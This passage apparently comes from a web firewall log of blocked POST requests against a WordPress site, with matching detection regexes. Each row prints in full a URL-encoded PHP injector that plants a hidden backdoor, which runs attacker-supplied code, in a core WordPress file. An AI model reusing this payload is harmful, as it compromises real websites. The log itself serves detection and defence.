ey:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4212\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\ney=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:34","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4212\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nNd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:36","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4212\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nTJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:39","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520